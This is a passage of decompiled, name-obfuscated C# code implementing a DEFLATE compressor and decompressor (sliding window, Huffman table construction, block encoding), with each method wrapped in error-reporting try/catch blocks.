            throw new ArgumentOutOfRangeException();
          if ((obj2 & 1) != 0)
          {
            this.\u0004 |= (uint) (((int) obj0[obj1++] & (int) byte.MaxValue) << this.\u0005);
            this.\u0005 += 8;
          }
          this.\u0001 = obj0;
          this.\u0002 = obj1;
          this.\u0003 = num;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) num;
          byte[] numArray = obj0;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) obj1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) obj2;
          \u0089\u0004.\u001C\u0005(ex, (object) local1, (object) this, (object) numArray, (object) local2, (object) local3);
          throw;
        }
      }
    }

    internal sealed class \u0017
    {
      private byte[] \u0001 = new byte[32768];
      private int \u0002 = 0;
      private int \u0003 = 0;

      public void \u007F\u0002([In] int obj0)
      {
        int num1;
        try
        {
          \u0014.\u0017 obj = this;
          int num2;
          num1 = num2 = obj.\u0003;
          obj.\u0003 = num2 + 1;
          if (num1 == 32768)
            throw new InvalidOperationException();
          byte[] numArray = this.\u0001;
          num1 = this.\u0002++;
          int index = num1;
          int num3 = (int) (byte) obj0;
          numArray[index] = (byte) num3;
          this.\u0002 &= (int) short.MaxValue;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) num1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) obj0;
          \u0089\u0004.\u001A\u0005(ex, (object) local1, (object) this, (object) local2);
          throw;
        }
      }

      private void \u0080\u0002([In] int obj0, [In] int obj1, [In] int obj2)
      {
        int num1;
        try
        {
          while (obj1-- > 0)
          {
            byte[] numArray = this.\u0001;
            \u0014.\u0017 obj = this;
            int num2;
            num1 = num2 = obj.\u0002;
            obj.\u0002 = num2 + 1;
            int index = num1;
            int num3 = (int) this.\u0001[obj0++];
            numArray[index] = (byte) num3;
            this.\u0002 &= (int) short.MaxValue;
            obj0 &= (int) short.MaxValue;
          }
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) num1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) obj0;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) obj1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local4 = (ValueType) obj2;
          \u0089\u0004.\u001C\u0005(ex, (object) local1, (object) this, (object) local2, (object) local3, (object) local4);
          throw;
        }
      }

      public void \u0081\u0002([In] int obj0, [In] int obj1)
      {
        int num1;
        int sourceIndex;
        int num2;
        try
        {
          num1 = (this.\u0003 += obj0);
          if (num1 > 32768)
            throw new InvalidOperationException();
          sourceIndex = this.\u0002 - obj1 & (int) short.MaxValue;
          num2 = 32768 - obj0;
          if (sourceIndex <= num2 && this.\u0002 < num2)
          {
            if (obj0 <= obj1)
            {
              Array.Copy((Array) this.\u0001, sourceIndex, (Array) this.\u0001, this.\u0002, obj0);
              this.\u0002 += obj0;
            }
            else
            {
              while (obj0-- > 0)
              {
                byte[] numArray = this.\u0001;
                num1 = this.\u0002++;
                int index = num1;
                int num3 = (int) this.\u0001[sourceIndex++];
                numArray[index] = (byte) num3;
              }
            }
          }
          else
            this.\u0080\u0002(sourceIndex, obj0, obj1);
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) sourceIndex;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) num2;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) num1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local4 = (ValueType) obj0;
          // ISSUE: variable of a boxed type
          __Boxed<int> local5 = (ValueType) obj1;
          \u0089\u0004.\u001D\u0005(ex, (object) local1, (object) local2, (object) local3, (object) this, (object) local4, (object) local5);
          throw;
        }
      }

      public int \u0082\u0002([In] \u0014.\u0016 obj0, [In] int obj1)
      {
        int num1;
        int num2;
        try
        {
          obj1 = Math.Min(Math.Min(obj1, 32768 - this.\u0003), obj0.\u001A\u0002());
          num1 = 32768 - this.\u0002;
          if (obj1 > num1)
          {
            num2 = obj0.\u001D\u0002(this.\u0001, this.\u0002, num1);
            if (num2 == num1)
              num2 += obj0.\u001D\u0002(this.\u0001, 0, obj1 - num1);
          }
          else
            num2 = obj0.\u001D\u0002(this.\u0001, this.\u0002, obj1);
          this.\u0002 = this.\u0002 + num2 & (int) short.MaxValue;
          this.\u0003 += num2;
          return num2;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) num2;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) num1;
          \u0014.\u0016 obj = obj0;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) obj1;
          \u0089\u0004.\u001C\u0005(ex, (object) local1, (object) local2, (object) this, (object) obj, (object) local3);
          throw;
        }
      }

      public int \u0084\u0002()
      {
        try
        {
          return 32768 - this.\u0003;
        }
        catch (Exception ex)
        {
          \u0089\u0004.\u0018\u0005(ex, (object) this);
          throw;
        }
      }

      public int \u0086\u0002()
      {
        try
        {
          return this.\u0003;
        }
        catch (Exception ex)
        {
          \u0089\u0004.\u0018\u0005(ex, (object) this);
          throw;
        }
      }

      public int \u0087\u0002([In] byte[] obj0, [In] int obj1, [In] int obj2)
      {
        int num1;
        int num2;
        int length;
        try
        {
          int num3 = this.\u0002;
          if (true)
            num1 = num3;
          if (obj2 > this.\u0003)
            obj2 = this.\u0003;
          else
            num1 = this.\u0002 - this.\u0003 + obj2 & (int) short.MaxValue;
          num2 = obj2;
          length = obj2 - num1;
          if (length > 0)
          {
            Array.Copy((Array) this.\u0001, 32768 - length, (Array) obj0, obj1, length);
            obj1 += length;
            obj2 = num1;
          }
          Array.Copy((Array) this.\u0001, num1 - obj2, (Array) obj0, obj1, obj2);
          this.\u0003 -= num2;
          if (this.\u0003 < 0)
            throw new InvalidOperationException();
          return num2;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) num1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) num2;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) length;
          byte[] numArray = obj0;
          // ISSUE: variable of a boxed type
          __Boxed<int> local4 = (ValueType) obj1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local5 = (ValueType) obj2;
          \u0089\u0004.\u001E\u0005(ex, (object) local1, (object) local2, (object) local3, (object) this, (object) numArray, (object) local4, (object) local5);
          throw;
        }
      }

      public \u0017()
      {
        try
        {
        }
        catch (Exception ex)
        {
          \u0089\u0004.\u0018\u0005(ex, (object) this);
          throw;
        }
      }
    }

    internal sealed class \u0018
    {
      private short[] \u0001;
      public static readonly \u0014.\u0018 \u0002;
      public static readonly \u0014.\u0018 \u0003;

      static \u0018()
      {
        int num;
        byte[] numArray1;
        try
        {
          numArray1 = new byte[288];
          if (true)
            goto label_12;
label_1:
          while (num < 144)
            numArray1[num++] = (byte) 8;
          while (num < 256)
            numArray1[num++] = (byte) 9;
          while (num < 280)
            numArray1[num++] = (byte) 7;
          while (num < 288)
            numArray1[num++] = (byte) 8;
          \u0014.\u0018.\u0002 = new \u0014.\u0018(numArray1);
          numArray1 = new byte[32];
          num = 0;
          while (num < 32)
            numArray1[num++] = (byte) 5;
          \u0014.\u0018.\u0003 = new \u0014.\u0018(numArray1);
          return;
label_12:
          num = 0;
          goto label_1;
        }
        catch (Exception ex)
        {
          byte[] numArray2 = numArray1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local = (ValueType) num;
          \u0089\u0004.\u0019\u0005(ex, (object) numArray2, (object) local);
          throw;
        }
      }

      public \u0018([In] byte[] obj0)
      {
        try
        {
          this.\u0088\u0002(obj0);
        }
        catch (Exception ex)
        {
          byte[] numArray = obj0;
          \u0089\u0004.\u0019\u0005(ex, (object) this, (object) numArray);
          throw;
        }
      }

      private void \u0088\u0002([In] byte[] obj0)
      {
        int index1;
        int num1;
        int[] numArray1;
        int[] numArray2;
        IntPtr index2;
        int num2;
        int length;
        int index3;
        int[] numArray3;
        int num3;
        int num4;
        int num5;
        int index4;
        int num6;
        int num7;
        int num8;
        int index5;
        int index6;
        int index7;
        int num9;
        int num10;
        try
        {
          numArray1 = new int[16];
          numArray3 = new int[16];
          for (index1 = 0; index1 < obj0.Length; ++index1)
          {
            num1 = (int) obj0[index1];
            if (num1 > 0)
              (numArray2 = numArray1)[(int) (index2 = (IntPtr) num1)] = numArray2[index2] + 1;
          }
          num2 = 0;
          length = 512;
          for (index3 = 1; index3 <= 15; ++index3)
          {
            numArray3[index3] = num2;
            num2 += numArray1[index3] << 16 - index3;
            if (index3 >= 10)
            {
              num3 = numArray3[index3] & 130944;
              num4 = num2 & 130944;
              length += num4 - num3 >> 16 - index3;
            }
          }
          this.\u0001 = new short[(int) checked ((uint) length)];
          num5 = 512;
          for (index4 = 15; index4 >= 10; --index4)
          {
            num6 = num2 & 130944;
            num2 -= numArray1[index4] << 16 - index4;
            num7 = num2 & 130944;
            for (num8 = num7; num8 < num6; num8 += 128)
            {
              this.\u0001[(int) \u0014.\u001B.\u0090\u0002(num8)] = (short) (-num5 << 4 | index4);
              num5 += 1 << index4 - 9;
            }
          }
          for (index5 = 0; index5 < obj0.Length; ++index5)
          {
            index6 = (int) obj0[index5];
            if (index6 != 0)
            {
              num2 = numArray3[index6];
              index7 = (int) \u0014.\u001B.\u0090\u0002(num2);
              if (index6 <= 9)
              {
                do
                {
                  this.\u0001[index7] = (short) (index5 << 4 | index6);
                  index7 += 1 << index6;
                }
                while (index7 < 512);
              }
              else
              {
                num9 = (int) this.\u0001[index7 & 511];
                num10 = 1 << (num9 & 15);
                num9 = -(num9 >> 4);
                do
                {
                  this.\u0001[num9 | index7 >> 9] = (short) (index5 << 4 | index6);
                  index7 += 1 << index6;
                }
                while (index7 < num10);
              }
              numArray3[index6] = num2 + (1 << 16 - index6);
            }
          }
        }
        catch (Exception ex)
        {
          object[] objArray = new object[23]
          {
            (object) numArray1,
            (object) numArray3,
            (object) index1,
            (object) num1,
            (object) num2,
            (object) length,
            (object) index3,
            (object) num3,
            (object) num4,
            (object) num5,
            (object) index4,
            (object) num6,
            (object) num7,
            (object) num8,
            (object) index5,
            (object) index6,
            (object) index7,
            (object) num9,
            (object) num10,
            (object) numArray2,
            (object) index2,
            (object) this,
            (object) obj0
          };
          \u0089\u0004.\u0081\u0005(ex, objArray);
          throw;
        }
      }

      public int \u0089\u0002([In] \u0014.\u0016 obj0)
      {
        int index;
        int num1;
        int num2;
        int num3;
        int num4;
        int num5;
        try
        {
          if ((index = obj0.\u0017\u0002(9)) >= 0)
          {
            if ((num1 = (int) this.\u0001[index]) >= 0)
            {
              obj0.\u0018\u0002(num1 & 15);
              return num1 >> 4;
            }
            num2 = -(num1 >> 4);
            num3 = num1 & 15;
            if ((index = obj0.\u0017\u0002(num3)) >= 0)
            {
              num1 = (int) this.\u0001[num2 | index >> 9];
              obj0.\u0018\u0002(num1 & 15);
              return num1 >> 4;
            }
            num4 = obj0.\u0019\u0002();
            index = obj0.\u0017\u0002(num4);
            num1 = (int) this.\u0001[num2 | index >> 9];
            if ((num1 & 15) > num4)
              return -1;
            obj0.\u0018\u0002(num1 & 15);
            return num1 >> 4;
          }
          num5 = obj0.\u0019\u0002();
          index = obj0.\u0017\u0002(num5);
          num1 = (int) this.\u0001[index];
          if (num1 < 0 || (num1 & 15) > num5)
            return -1;
          obj0.\u0018\u0002(num1 & 15);
          return num1 >> 4;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) index;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) num1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) num2;
          // ISSUE: variable of a boxed type
          __Boxed<int> local4 = (ValueType) num3;
          // ISSUE: variable of a boxed type
          __Boxed<int> local5 = (ValueType) num4;
          // ISSUE: variable of a boxed type
          __Boxed<int> local6 = (ValueType) num5;
          \u0014.\u0016 obj = obj0;
          \u0089\u0004.\u001F\u0005(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) local6, (object) this, (object) obj);
          throw;
        }
      }
    }

    internal sealed class \u0019
    {
      private static readonly int[] \u0001;
      private static readonly int[] \u0002;
      private byte[] \u0003;
      private byte[] \u0004;
      private \u0014.\u0018 \u0005;
      private int \u0006;
      private int \u0007;
      private int \u0008;
      private int \u000E;
      private int \u000F;
      private int \u0010;
      private byte \u0011;
      private int \u0012;
      private static readonly int[] \u0013;

      public \u0019()
      {
        try
        {
        }
        catch (Exception ex)
        {
          \u0089\u0004.\u0018\u0005(ex, (object) this);
          throw;
        }
      }

      public bool \u0015\u0002([In] \u0014.\u0016 obj0)
      {
        int num1;
        int num2;
        int num3;
        byte num4;
        int num5;
        int num6;
        try
        {
          while (true)
          {
            num2 = this.\u0006;
            switch (num2)
            {
              case 0:
                this.\u0007 = obj0.\u0017\u0002(5);
                if (this.\u0007 >= 0)
                {
                  this.\u0007 += 257;
                  obj0.\u0018\u0002(5);
                  this.\u0006 = 1;
                  goto case 1;
                }
                else
                  goto label_2;
              case 1:
                this.\u0008 = obj0.\u0017\u0002(5);
                if (this.\u0008 >= 0)
                {
                  ++this.\u0008;
                  obj0.\u0018\u0002(5);
                  this.\u000F = this.\u0007 + this.\u0008;
                  this.\u0004 = new byte[(int) checked ((uint) this.\u000F)];
                  this.\u0006 = 2;
                  goto case 2;
                }
                else
                  goto label_5;
              case 2:
                this.\u000E = obj0.\u0017\u0002(4);
                if (this.\u000E >= 0)
                {
                  this.\u000E += 4;
                  obj0.\u0018\u0002(4);
                  this.\u0003 = new byte[19];
                  this.\u0012 = 0;
                  this.\u0006 = 3;
                  goto case 3;
                }
                else
                  goto label_8;
              case 3:
                for (; this.\u0012 < this.\u000E; ++this.\u0012)
                {
                  num1 = obj0.\u0017\u0002(3);
                  if (num1 < 0)
                    return false;
                  obj0.\u0018\u0002(3);
                  this.\u0003[\u0014.\u0019.\u0013[this.\u0012]] = (byte) num1;
                }
                this.\u0005 = new \u0014.\u0018(this.\u0003);
                this.\u0003 = (byte[]) null;
                this.\u0012 = 0;
                this.\u0006 = 4;
                goto case 4;
              case 4:
                while (((num3 = this.\u0005.\u0089\u0002(obj0)) & -16) == 0)
                {
                  byte[] numArray = this.\u0004;
                  num2 = this.\u0012++;
                  int index = num2;
                  this.\u0011 = num4 = (byte) num3;
                  int num7 = (int) num4;
                  numArray[index] = (byte) num7;
                  if (this.\u0012 == this.\u000F)
                    return true;
                }
                if (num3 >= 0)
                {
                  if (num3 >= 17)
                    this.\u0011 = (byte) 0;
                  this.\u0010 = num3 - 16;
                  this.\u0006 = 5;
                  goto case 5;
                }
                else
                  goto label_19;
              case 5:
                num5 = \u0014.\u0019.\u0002[this.\u0010];
                num6 = obj0.\u0017\u0002(num5);
                if (num6 >= 0)
                {
                  obj0.\u0018\u0002(num5);
                  num6 += \u0014.\u0019.\u0001[this.\u0010];
                  while (num6-- > 0)
                  {
                    byte[] numArray = this.\u0004;
                    num2 = this.\u0012++;
                    int index = num2;
                    int num8 = (int) this.\u0011;
                    numArray[index] = (byte) num8;
                  }
                  if (this.\u0012 != this.\u000F)
                  {
                    this.\u0006 = 4;
                    continue;
                  }
                  goto label_29;
                }
                else
                  goto label_24;
              default:
                continue;
            }
          }
label_2:
          return false;
label_5:
          return false;
label_8:
          return false;
label_19:
          return false;
label_24:
          return false;
label_29:
          return true;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) num1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) num3;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) num5;
          // ISSUE: variable of a boxed type
          __Boxed<int> local4 = (ValueType) num6;
          // ISSUE: variable of a boxed type
          __Boxed<int> local5 = (ValueType) num2;
          // ISSUE: variable of a boxed type
          __Boxed<byte> local6 = (ValueType) num4;
          \u0014.\u0016 obj = obj0;
          \u0089\u0004.\u001F\u0005(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) local6, (object) this, (object) obj);
          throw;
        }
      }

      public \u0014.\u0018 \u008A\u0002()
      {
        byte[] destinationArray;
        try
        {
          destinationArray = new byte[(int) checked ((uint) this.\u0007)];
          Array.Copy((Array) this.\u0004, 0, (Array) destinationArray, 0, this.\u0007);
          return new \u0014.\u0018(destinationArray);
        }
        catch (Exception ex)
        {
          byte[] numArray = destinationArray;
          \u0089\u0004.\u0019\u0005(ex, (object) numArray, (object) this);
          throw;
        }
      }

      public \u0014.\u0018 \u008B\u0002()
      {
        byte[] destinationArray;
        try
        {
          destinationArray = new byte[(int) checked ((uint) this.\u0008)];
          Array.Copy((Array) this.\u0004, this.\u0007, (Array) destinationArray, 0, this.\u0008);
          return new \u0014.\u0018(destinationArray);
        }
        catch (Exception ex)
        {
          byte[] numArray = destinationArray;
          \u0089\u0004.\u0019\u0005(ex, (object) numArray, (object) this);
          throw;
        }
      }

      static \u0019()
      {
        try
        {
          \u0014.\u0019.\u0001 = new int[3]
          {
            3,
            3,
            11
          };
          \u0014.\u0019.\u0002 = new int[3]{ 2, 3, 7 };
          \u0014.\u0019.\u0013 = new int[19]
          {
            16,
            17,
            18,
            0,
            8,
            7,
            9,
            6,
            10,
            5,
            11,
            4,
            12,
            3,
            13,
            2,
            14,
            1,
            15
          };
        }
        catch (Exception ex)
        {
          \u0089\u0004.\u0017\u0005(ex);
          throw;
        }
      }
    }

    internal sealed class \u001A
    {
      private int \u0001 = 16;
      private long \u0002 = 0;
      private \u0014.\u001E \u0003;
      private \u0014.\u001D \u0004;

      public \u001A()
      {
        try
        {
          this.\u0003 = new \u0014.\u001E();
          this.\u0004 = new \u0014.\u001D(this.\u0003);
        }
        catch (Exception ex)
        {
          \u0089\u0004.\u0018\u0005(ex, (object) this);
          throw;
        }
      }

      [SpecialName]
      public long \u008C\u0002()
      {
        try
        {
          return this.\u0002;
        }
        catch (Exception ex)
        {
          \u0089\u0004.\u0018\u0005(ex, (object) this);
          throw;
        }
      }

      public void \u008D\u0002()
      {
        try
        {
          this.\u0001 |= 12;
        }
        catch (Exception ex)
        {
          \u0089\u0004.\u0018\u0005(ex, (object) this);
          throw;
        }
      }

      [SpecialName]
      public bool \u008E\u0002()
      {
        try
        {
          return this.\u0001 == 30 && this.\u0003.\u0014\u0003();
        }
        catch (Exception ex)
        {
          \u0089\u0004.\u0018\u0005(ex, (object) this);
          throw;
        }
      }

      [SpecialName]
      public bool \u001C\u0002()
      {
        try
        {
          return this.\u0004.\u000E\u0003();
        }
        catch (Exception ex)
        {
          \u0089\u0004.\u0018\u0005(ex, (object) this);
          throw;
        }
      }

      public void \u001F\u0002([In] byte[] obj0)
      {
        try
        {
          this.\u0004.\u001F\u0002(obj0);
        }
        catch (Exception ex)
        {
          byte[] numArray = obj0;
          \u0089\u0004.\u0019\u0005(ex, (object) this, (object) numArray);
          throw;
        }
      }

      public int \u008F\u0002([In] byte[] obj0)
      {
        int length;
        int num1;
        int num2;
        int num3;
        int num4;
        try
        {
          num2 = 0;
          length = obj0.Length;
          num1 = length;
          while (true)
          {
            do
            {
              do
              {
                num3 = this.\u0003.\u0015\u0003(obj0, num2, length);
                num2 += num3;
                this.\u0002 += (long) num3;
                length -= num3;
                if (length == 0 || this.\u0001 == 30)
                  goto label_12;
              }
              while (this.\u0004.\u008F\u0002((this.\u0001 & 4) != 0, (this.\u0001 & 8) != 0));
              if (this.\u0001 == 16)
                return num1 - length;
              if (this.\u0001 == 20)
              {
                for (num4 = 8 + (-this.\u0003.\u0011\u0003() & 7); num4 > 0; num4 -= 10)
                  this.\u0003.\u0013\u0003(2, 10);
                this.\u0001 = 16;
              }
            }
            while (this.\u0001 != 28);
            this.\u0003.\u0012\u0003();
            this.\u0001 = 30;
          }
label_12:
          return num1 - length;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) num2;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) length;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) num1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local4 = (ValueType) num3;
          // ISSUE: variable of a boxed type
          __Boxed<int> local5 = (ValueType) num4;
          byte[] numArray = obj0;
          \u0089\u0004.\u001E\u0005(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) this, (object) numArray);
          throw;
        }
      }
    }

    internal sealed class \u001B
    {
      private static readonly int[] \u0001;
      private static readonly byte[] \u0002;
      private \u0014.\u001E \u0003;
      private \u0014.\u001B.\u001C \u0004;
      private \u0014.\u001B.\u001C \u0005;
      private \u0014.\u001B.\u001C \u0006;
      private short[] \u0007;
      private byte[] \u0008;
      private int \u000E;
      private int \u000F;
      private static readonly short[] \u0010;
      private static readonly byte[] \u0011;
      private static readonly short[] \u0012;
      private static readonly byte[] \u0013;

      public static short \u0090\u0002([In] int obj0)
      {
        try
        {
          return (short) ((int) \u0014.\u001B.\u0002[obj0 & 15] << 12 | (int) \u0014.\u001B.\u0002[obj0 >> 4 & 15] << 8 | (int) \u0014.\u001B.\u0002[obj0 >> 8 & 15] << 4 | (int) \u0014.\u001B.\u0002[obj0 >> 12]);
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local = (ValueType) obj0;
          \u0089\u0004.\u0018\u0005(ex, (object) local);
          throw;
        }
      }

      static \u001B()
      {
        int index;
        try
        {
          \u0014.\u001B.\u0001 = new int[19]
          {
            16,
            17,
            18,
            0,
            8,
            7,
            9,
            6,
            10,
            5,
            11,
            4,
            12,
            3,
            13,
            2,
            14,
            1,
            15
          };
          \u0014.\u001B.\u0002 = new byte[16]
          {
            (byte) 0,
            (byte) 8,
            (byte) 4,
            (byte) 12,
            (byte) 2,
            (byte) 10,
            (byte) 6,
            (byte) 14,
            (byte) 1,
            (byte) 9,
            (byte) 5,
            (byte) 13,
            (byte) 3,
            (byte) 11,
            (byte) 7,
            (byte) 15
          };
          \u0014.\u001B.\u0010 = new short[286];
          \u0014.\u001B.\u0011 = new byte[286];
          for (index = 0; index < 144; \u0014.\u001B.\u0011[index++] = (byte) 8)
            \u0014.\u001B.\u0010[index] = \u0014.\u001B.\u0090\u0002(48 + index << 8);
          for (; index < 256; \u0014.\u001B.\u0011[index++] = (byte) 9)
            \u0014.\u001B.\u0010[index] = \u0014.\u001B.\u0090\u0002(256 + index << 7);
          for (; index < 280; \u0014.\u001B.\u0011[index++] = (byte) 7)
            \u0014.\u001B.\u0010[index] = \u0014.\u001B.\u0090\u0002(index - 256 << 9);
          for (; index < 286; \u0014.\u001B.\u0011[index++] = (byte) 8)
            \u0014.\u001B.\u0010[index] = \u0014.\u001B.\u0090\u0002(index - 88 << 8);
          \u0014.\u001B.\u0012 = new short[30];
          \u0014.\u001B.\u0013 = new byte[30];
          for (index = 0; index < 30; ++index)
          {
            \u0014.\u001B.\u0012[index] = \u0014.\u001B.\u0090\u0002(index << 11);
            \u0014.\u001B.\u0013[index] = (byte) 5;
          }
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local = (ValueType) index;
          \u0089\u0004.\u0018\u0005(ex, (object) local);
          throw;
        }
      }

      public \u001B([In] \u0014.\u001E obj0)
      {
        try
        {
          this.\u0003 = obj0;
          this.\u0004 = new \u0014.\u001B.\u001C(this, 286, 257, 15);
          this.\u0005 = new \u0014.\u001B.\u001C(this, 30, 1, 15);
          this.\u0006 = new \u0014.\u001B.\u001C(this, 19, 4, 7);
          this.\u0007 = new short[16384];
          this.\u0008 = new byte[16384];
        }
        catch (Exception ex)
        {
          \u0014.\u001E obj = obj0;
          \u0089\u0004.\u0019\u0005(ex, (object) this, (object) obj);
          throw;
        }
      }

      public void \u0091\u0002()
      {
        try
        {
          this.\u000E = 0;
          this.\u000F = 0;
        }
        catch (Exception ex)
        {
          \u0089\u0004.\u0018\u0005(ex, (object) this);
          throw;
        }
      }

      private int \u0092\u0002([In] int obj0)
      {
        int num;
        try
        {
          if (obj0 == (int) byte.MaxValue)
            return 285;
          num = 257;
          for (; obj0 >= 8; obj0 >>= 1)
            num += 4;
          return num + obj0;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) num;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) obj0;
          \u0089\u0004.\u001A\u0005(ex, (object) local1, (object) this, (object) local2);
          throw;
        }
      }

      private int \u0093\u0002([In] int obj0)
      {
        int num1;
        try
        {
          if (true)
            goto label_4;
label_2:
          for (; obj0 >= 4; obj0 >>= 1)
          {
            int num2 = num1 + 2;
            if (false)
              continue;
            num1 = num2;
          }
          return num1 + obj0;
label_4:
          num1 = 0;
          goto label_2;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) num1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) obj0;
          \u0089\u0004.\u001A\u0005(ex, (object) local1, (object) this, (object) local2);
          throw;
        }
      }

      public void \u0094\u0002([In] int obj0)
      {
        int index;
        try
        {
          this.\u0006.\u009D\u0002();
          this.\u0004.\u009D\u0002();
          this.\u0005.\u009D\u0002();
          this.\u0003.\u0013\u0003(this.\u0004.\u0004 - 257, 5);
          this.\u0003.\u0013\u0003(this.\u0005.\u0004 - 1, 5);
          this.\u0003.\u0013\u0003(obj0 - 4, 4);
          for (index = 0; index < obj0; ++index)
            this.\u0003.\u0013\u0003((int) this.\u0006.\u0002[\u0014.\u001B.\u0001[index]], 3);
          this.\u0004.\u0002\u0003(this.\u0006);
          this.\u0005.\u0002\u0003(this.\u0006);
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) index;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) obj0;
          \u0089\u0004.\u001A\u0005(ex, (object) local1, (object) this, (object) local2);
          throw;
        }
      }

      public void \u0095\u0002()
      {
        int num1;
        int index;
        int num2;
        int num3;
        int num4;
        int num5;
        try
        {
          if (true)
            goto label_9;
label_7:
          for (; index < this.\u000E; ++index)
          {
            num1 = (int) this.\u0008[index] & (int) byte.MaxValue;
            num2 = (int) this.\u0007[index];
            if (num2-- != 0)
            {
              num3 = this.\u0092\u0002(num1);
              this.\u0004.\u009B\u0002(num3);
              num4 = (num3 - 261) / 4;
              if (num4 > 0 && num4 <= 5)
                this.\u0003.\u0013\u0003(num1 & (1 << num4) - 1, num4);
              num5 = this.\u0093\u0002(num2);
              this.\u0005.\u009B\u0002(num5);
              num4 = num5 / 2 - 1;
              if (num4 > 0)
                this.\u0003.\u0013\u0003(num2 & (1 << num4) - 1, num4);
            }
            else
              this.\u0004.\u009B\u0002(num1);
          }
          this.\u0004.\u009B\u0002(256);
          return;
label_9:
          index = 0;
          goto label_7;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) index;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) num1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) num2;
          // ISSUE: variable of a boxed type
          __Boxed<int> local4 = (ValueType) num3;
          // ISSUE: variable of a boxed type
          __Boxed<int> local5 = (ValueType) num4;
          // ISSUE: variable of a boxed type
          __Boxed<int> local6 = (ValueType) num5;
          \u0089\u0004.\u001E\u0005(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) local6, (object) this);
          throw;
        }
      }

      public void \u0096\u0002([In] byte[] obj0, [In] int obj1, [In] int obj2, [In] bool obj3)
      {
        try
        {
          this.\u0003.\u0013\u0003(obj3 ? 1 : 0, 3);
          this.\u0003.\u0012\u0003();
          this.\u0003.\u000F\u0003(obj2);
          this.\u0003.\u000F\u0003(~obj2);
          this.\u0003.\u0010\u0003(obj0, obj1, obj2);
          this.\u0091\u0002();
        }
        catch (Exception ex)
        {
          byte[] numArray = obj0;
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) obj1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) obj2;
          // ISSUE: variable of a boxed type
          __Boxed<bool> local3 = (ValueType) obj3;
          \u0089\u0004.\u001C\u0005(ex, (object) this, (object) numArray, (object) local1, (object) local2, (object) local3);
          throw;
        }
      }

      public void \u0097\u0002([In] byte[] obj0, [In] int obj1, [In] int obj2, [In] bool obj3)
      {
        int num1;
        int index1;
        int num2;
        int num3;
        int index2;
        int index3;
        short[] numArray;
        try
        {
          (numArray = this.\u0004.\u0001)[256] = (short) ((int) numArray[256] + 1);
          this.\u0004.\u0088\u0002();
          this.\u0005.\u0088\u0002();
          this.\u0004.\u0001\u0003(this.\u0006);
          this.\u0005.\u0001\u0003(this.\u0006);
          this.\u0006.\u0088\u0002();
          num1 = 4;
          for (index1 = 18; index1 > num1; --index1)
          {
            if (this.\u0006.\u0002[\u0014.\u001B.\u0001[index1]] > (byte) 0)
              num1 = index1 + 1;
          }
          num2 = 14 + num1 * 3 + this.\u0006.\u009F\u0002() + this.\u0004.\u009F\u0002() + this.\u0005.\u009F\u0002() + this.\u000F;
          num3 = this.\u000F;
          for (index2 = 0; index2 < 286; ++index2)
            num3 += (int) this.\u0004.\u0001[index2] * (int) \u0014.\u001B.\u0011[index2];
          for (index3 = 0; index3 < 30; ++index3)
